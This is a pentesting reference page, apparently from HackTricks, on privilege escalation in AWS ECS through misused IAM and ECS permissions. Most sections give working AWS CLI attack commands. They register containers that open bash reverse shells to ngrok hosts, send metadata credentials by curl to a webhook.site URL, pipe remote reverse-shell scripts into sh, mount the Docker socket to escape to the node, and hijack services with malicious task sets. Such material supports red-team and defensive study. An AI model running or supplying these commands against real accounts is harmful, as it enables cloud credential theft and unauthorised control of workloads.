# AWS - ECS Privesc

{{#include ../../../banners/hacktricks-training.md}}

## ECS

More **info about ECS** in:

{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.

{{#tabs }}
{{#tab name="Reverse Shell" }}
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
    --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
    --network-mode "awsvpc" \
    --cpu 256 --memory 512\
    --requires-compatibilities "[\"FARGATE\"]" \
    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
    --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
    --launch-type FARGATE \
    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```

{{#endtab }}

{{#tab name="Webhook" }}

Create a webhook with a site like webhook.site 

```bash

# Create file container-definition.json
[
  {
    "name": "exfil_creds",
    "image": "python:latest",
    "entryPoint": ["sh", "-c"],
    "command": [
      "CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
    ]
  }
]

# Run task definition, uploading the .json file
aws ecs register-task-definition \
  --family iam_exfiltration \
  --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
  --network-mode "awsvpc" \
  --cpu 256 \
  --memory 512 \
  --requires-compatibilities FARGATE \
  --container-definitions file://container-definition.json
  
# Check the webhook for a response

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

```
{{#endtab }}

{{#endtabs }}

**Potential Impact:** Direct privesc to a different ECS role.

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\
However, in this case, a container instance to run the malicious task definition need to be.

```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
    --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
    --network-mode "awsvpc" \
    --cpu 256 --memory 512\
    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
    --container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```

**Potential Impact:** Direct privesc to any ECS role.

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`

Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it by creating a new service with at least 1 task running.**

```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
    --task-role-arn  "$ECS_ROLE_ARN" \
    --network-mode "awsvpc" \
    --cpu 256 --memory 512\
    --requires-compatibilities "[\"FARGATE\"]" \
    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
    --task-definition iam_exfiltration \
    --desired-count 1 \
    --cluster "$CLUSTER_ARN" \
    --launch-type FARGATE \
    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
    --service <SERVICE NAME> \
    --task-definition <NEW TASK DEFINITION NAME>
```

**Potential Impact:** Direct privesc to any ECS role.

### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like:

```bash
aws ecs run-task \
    --task-definition "<task-name>" \
    --overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
    --cluster <cluster-name> \
    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```

**Potential Impact:** Direct privesc to any ECS role.

### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\
This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\
You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)).

> [!WARNING]
> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate.

```bash
printf '[
    {
        "name":"exfil_creds",
        "image":"python:latest",
        "entryPoint":["sh", "-c"],
        "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
        "mountPoints": [
            {
                "readOnly": false,
                "containerPath": "/var/run/docker.sock",
                "sourceVolume": "docker-socket"
            }
        ]
    }
]' > /tmp/task.json

printf '[
    {
        "name": "docker-socket",
        "host": {
            "sourcePath": "/var/run/docker.sock"
        }
    }
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
    --cpu 256 --memory 512 \
    --requires-compatibilities '["EC2"]' \
    --container-definitions file:///tmp/task.json \
    --volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
    --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
    --launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
```

### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\
However, in order to do that, the container instance need to be running the **ExecuteCommand agent** (which by default isn't).

Therefore, the attacker cloud try to:

- **Try to run a command** in every running container

```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
   echo "Cluster $cluster"
   for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
      echo "  Task $task"
      # If true, it's your lucky day
      aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
   done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
   --command "sh" \
   --cluster "$CLUSTER_ARN" \
   --task "$TASK_ARN"
```

- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]`
- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]`
- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]`
- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]`

You can find **examples of those options** in **previous ECS privesc sections**.

**Potential Impact:** Privesc to a different role attached to containers.

### `ssm:StartSession`

Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**:

{{#ref}}
aws-ssm-privesc.md
{{#endref}}

### `iam:PassRole`, `ec2:RunInstances`

Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**:

{{#ref}}
aws-ec2-privesc.md
{{#endref}}

### `?ecs:RegisterContainerInstance`

TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??

### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

> [!NOTE]
> TODO: Test this

An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**.

```bash
bashCopy code# Register a task definition with a reverse shell
echo '{
  "family": "malicious-task",
  "containerDefinitions": [
    {
      "name": "malicious-container",
      "image": "alpine",
      "command": [
        "sh",
        "-c",
        "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
      ]
    }
  ]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```

**Potential Impact**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data.

## References

- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)

{{#include ../../../banners/hacktricks-training.md}}



